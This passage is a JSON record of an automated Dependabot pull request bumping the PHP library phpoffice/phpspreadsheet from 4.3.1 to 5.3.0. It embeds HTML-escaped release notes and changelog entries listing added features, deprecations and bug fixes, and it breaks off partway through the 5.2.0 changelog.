5.3.0","user":"dependabot[bot]","labels":["dependencies","php"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-02-01T09:29:31.000Z","author_association":null,"state_reason":null,"created_at":"2025-12-01T11:21:33.000Z","updated_at":"2026-02-01T09:29:32.000Z","time_to_close":5350078,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"4.3.1","new_version":"5.3.0","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 4.3.1 to 5.3.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.3.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFormal support for Php8.5.\u003c/li\u003e\n\u003cli\u003eLimited Printarea support for Html/Pdf. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3941\"\u003e#3941\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3941\"\u003ePHPOffice/PhpSpreadsheet#3941\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4711\"\u003e#4711\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4711\"\u003ePHPOffice/PhpSpreadsheet#4711\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImplement missing \u003ccode\u003eINFO\u003c/code\u003e function. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4709\"\u003e#4709\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4709\"\u003ePHPOffice/PhpSpreadsheet#4709\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImplement missing \u003ccode\u003eBAHTTEXT\u003c/code\u003e function. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4715\"\u003e#4715\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4715\"\u003ePHPOffice/PhpSpreadsheet#4715\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e$dataType, the second parameter of Cell::setValueExplicit, is currently optional. Omitting it is deprecated, and it will be required in a future release.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eProtected ranges and insert/delete rows/columns. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4695\"\u003e#4695\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4695\"\u003ePHPOffice/PhpSpreadsheet#4695\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4702\"\u003e#4702\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4702\"\u003ePHPOffice/PhpSpreadsheet#4702\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUnexpected Exception in Php DateTime. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4696\"\u003e#4696\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4696\"\u003ePHPOffice/PhpSpreadsheet#4696\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/917\"\u003e#917\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/917\"\u003ePHPOffice/PhpSpreadsheet#917\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4697\"\u003e#4697\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4697\"\u003ePHPOffice/PhpSpreadsheet#4697\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd missing Dutch translation to translation file. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4707\"\u003e#4707\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4707\"\u003ePHPOffice/PhpSpreadsheet#4707\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix lots of typos throughout codebase. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4705\"\u003e#4705\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4705\"\u003ePHPOffice/PhpSpreadsheet#4705\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eApply small code style improvements. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4708\"\u003e#4708\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4708\"\u003ePHPOffice/PhpSpreadsheet#4708\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.2.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eThis release should be usable with Php8.5 Release Candidates without deprecation messages.\u003c/li\u003e\n\u003cli\u003eOption to display numbers with less precision. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4626\"\u003e#4626\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4626\"\u003ePHPOffice/PhpSpreadsheet#4626\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4640\"\u003e#4640\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4640\"\u003ePHPOffice/PhpSpreadsheet#4640\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOffer Tcpdf Interface which throws exception rather than die. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4666\"\u003e#4666\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4666\"\u003ePHPOffice/PhpSpreadsheet#4666\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXls Reader ListWorksheetDimensions method. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4689\"\u003e#4689\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4689\"\u003ePHPOffice/PhpSpreadsheet#4689\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eWorksheet::getHashInt serves no useful purpose. No replacement.\u003c/li\u003e\n\u003cli\u003eSpreadsheet::getId serves no useful purpose. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePerformance improvement when working with large amounts of cells. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4607\"\u003e#4607\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4607\"\u003ePHPOffice/PhpSpreadsheet#4607\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4609\"\u003e#4609\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4609\"\u003ePHPOffice/PhpSpreadsheet#4609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMinor improvements to Calculation coverage. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4624\"\u003e#4624\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4624\"\u003ePHPOffice/PhpSpreadsheet#4624\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConditional formatting in extLst. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4629\"\u003e#4629\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4629\"\u003ePHPOffice/PhpSpreadsheet#4629\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4633\"\u003e#4633\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4633\"\u003ePHPOffice/PhpSpreadsheet#4633\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePhp8.5 deprecates use of null as array index. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4634\"\u003e#4634\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4634\"\u003ePHPOffice/PhpSpreadsheet#4634\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWrapped cells and default row height. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4584\"\u003e#4584\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4584\"\u003ePHPOffice/PhpSpreadsheet#4584\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4645\"\u003e#4645\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4645\"\u003ePHPOffice/PhpSpreadsheet#4645\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFor Php8.5, replace one of our two uses of \u003ccode\u003e__wakeup\u003c/code\u003e with \u003ccode\u003e__unserialize\u003c/code\u003e, and eliminate the other. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4639\"\u003e#4639\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4639\"\u003ePHPOffice/PhpSpreadsheet#4639\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUse prefix _xlfn for BASE function. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4638\"\u003e#4638\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4638\"\u003ePHPOffice/PhpSpreadsheet#4638\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4641\"\u003e#4641\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4641\"\u003ePHPOffice/PhpSpreadsheet#4641\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWarning messages with corrupt Xls file. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4647\"\u003e#4647\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4647\"\u003ePHPOffice/PhpSpreadsheet#4647\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4648\"\u003e#4648\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4648\"\u003ePHPOffice/PhpSpreadsheet#4648\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional support for union and intersection. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4596\"\u003e#4596\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4596\"\u003ePHPOffice/PhpSpreadsheet#4596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMissing array keys x,o,v for Xml Reader. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4668\"\u003e#4668\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4668\"\u003ePHPOffice/PhpSpreadsheet#4668\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4669\"\u003e#4669\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4669\"\u003ePHPOffice/PhpSpreadsheet#4669\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMissing array key x for Xlsx Reader VML. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4505\"\u003e#4505\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4505\"\u003ePHPOffice/PhpSpreadsheet#4505\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4676\"\u003e#4676\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4676\"\u003ePHPOffice/PhpSpreadsheet#4676\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eBetter support for Style Alignment Read Order. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/850\"\u003e#850\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/850\"\u003ePHPOffice/PhpSpreadsheet#850\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4655\"\u003e#4655\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4655\"\u003ePHPOffice/PhpSpreadsheet#4655\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMore sophisticated workbook password algorithms (Xlsx only). [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4673\"\u003e#4673\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4673\"\u003ePHPOffice/PhpSpreadsheet#4673\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4675\"\u003e#4675\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4675\"\u003ePHPOffice/PhpSpreadsheet#4675\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXls Writer fix DIMENSIONS record. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4682\"\u003e#4682\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4682\"\u003ePHPOffice/PhpSpreadsheet#4682\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4687\"\u003e#4687\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4687\"\u003ePHPOffice/PhpSpreadsheet#4687\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXls Reader listWorksheetInfo process MULRK records. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4689\"\u003e#4689\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4689\"\u003ePHPOffice/PhpSpreadsheet#4689\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/master/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2025-11-24 - 5.3.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFormal support for Php8.5.\u003c/li\u003e\n\u003cli\u003eLimited Printarea support for Html/Pdf. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3941\"\u003e#3941\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3941\"\u003ePHPOffice/PhpSpreadsheet#3941\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4711\"\u003e#4711\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4711\"\u003ePHPOffice/PhpSpreadsheet#4711\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImplement missing \u003ccode\u003eINFO\u003c/code\u003e function. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4709\"\u003e#4709\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4709\"\u003ePHPOffice/PhpSpreadsheet#4709\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImplement missing \u003ccode\u003eBAHTTEXT\u003c/code\u003e function. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4715\"\u003e#4715\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4715\"\u003ePHPOffice/PhpSpreadsheet#4715\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e$dataType, the second parameter of Cell::setValueExplicit, is currently optional. Omitting it is deprecated, and it will be required in a future release.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eProtected ranges and insert/delete rows/columns. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4695\"\u003e#4695\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4695\"\u003ePHPOffice/PhpSpreadsheet#4695\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4702\"\u003e#4702\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4702\"\u003ePHPOffice/PhpSpreadsheet#4702\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUnexpected Exception in Php DateTime. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4696\"\u003e#4696\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4696\"\u003ePHPOffice/PhpSpreadsheet#4696\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/917\"\u003e#917\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/917\"\u003ePHPOffice/PhpSpreadsheet#917\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4697\"\u003e#4697\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4697\"\u003ePHPOffice/PhpSpreadsheet#4697\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd missing Dutch translation to translation file. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4707\"\u003e#4707\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4707\"\u003ePHPOffice/PhpSpreadsheet#4707\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix lots of typos throughout codebase. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4705\"\u003e#4705\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4705\"\u003ePHPOffice/PhpSpreadsheet#4705\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eApply small code style improvements. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4708\"\u003e#4708\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4708\"\u003ePHPOffice/PhpSpreadsheet#4708\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2025-10-25 - 5.2.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eThis release should be usable with Php8.5 Release Candidates without deprecation messages.\u003c/li\u003e\n\u003cli\u003eOption to display numbers with less precision. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4626\"\u003e#4626\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4626\"\u003ePHPOffice/PhpSpreadsheet#4626\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4640\"\u003e#4640\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4640\"\u003ePHPOffice/PhpSpreadsheet#4640\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOffer Tcpdf Interface which throws exception rather than die. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4666\"\u003e#4666\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4666\"\u003ePHPOffice/PhpSpreadsheet#4666\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXls Reader ListWorksheetDimensions method. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4689\"\u003e#4689\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4689\"\u003ePHPOffice/PhpSpreadsheet#4689\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eWorksheet::getHashInt serves no useful purpose. No replacement.\u003c/li\u003e\n\u003cli\u003eSpreadsheet::getId serves no useful purpose. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePerformance improvement when working with large amounts of cells. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4607\"\u003e#4607\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4607\"\u003ePHPOffice/PhpSpreadsheet#4607\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4609\"\u003e#4609\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4609\"\u003ePHPOffice/PhpSpreadsheet#4609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMinor improvements to Calculation coverage. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4624\"\u003e#4624\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4624\"\u003ePHPOffice/PhpSpreadsheet#4624\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConditional formatting in extLst. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4629\"\u003e#4629\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4629\"\u003ePHPOffice/PhpSpreadsheet#4629\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4633\"\u003e#4633\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4633\"\u003ePHPOffice/PhpSpreadsheet#4633\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePhp8.5 deprecates use of null as array index. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4634\"\u003e#4634\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4634\"\u003ePHPOffice/PhpSpreadsheet#4634\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWrapped cells and default row height. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4584\"\u003e#4584\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4584\"\u003ePHPOffice/PhpSpreadsheet#4584\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4645\"\u003e#4645\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4645\"\u003ePHPOffice/PhpSpreadsheet#4645\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFor Php8.5, replace one of our two uses of \u003ccode\u003e__wakeup\u003c/code\u003e with \u003ccode\u003e__unserialize\u003c/code\u003e, and eliminate the other. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4639\"\u003e#4639\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4639\"\u003ePHPOffice/PhpSpreadsheet#4639\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUse prefix _xlfn for BASE function. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4638\"\u003e#4638\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4638\"\u003ePHPOffice/PhpSpreadsheet#4638\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4641\"\u003e#4641\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4641\"\u003ePHPOffice/PhpSpreadsheet#4641\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWarning messages with corrupt Xls file. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4647\"\u003e#4647\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4647\"\u003ePHPOffice/PhpSpreadsheet#4647\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4648\"\u003e#4648\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4648\"\u003ePHPOffice/PhpSpreadsheet#4648\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional support for union and intersection. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4596\"\u003e#4596\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4596\"\u003ePHPOffice/PhpSpreadsheet#4596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMissing array keys x,o,v for Xml Reader. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4668\"\u003e#4668\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4668\"\u003ePHPOffice/PhpSpreadsheet#4668\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4669\"\u003e#4669\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4669\"\u003ePHPOffice/PhpSpreadsheet#4669\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMissing array key x for Xlsx Reader VML. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4505\"\u003e#4505\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4505\"\u003ePHPOffice/PhpSpreadsheet#4505\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4676\"\u003e#4676\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4676\"\u003ePHPOffice/PhpSpreadsheet#4676\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eBetter support for Style Alignment Read Order. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/850\"\u003e#850\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/850\"\u003ePHPOffice/PhpSpreadsheet#850\u003c/a\u003e) [PR \u003ca 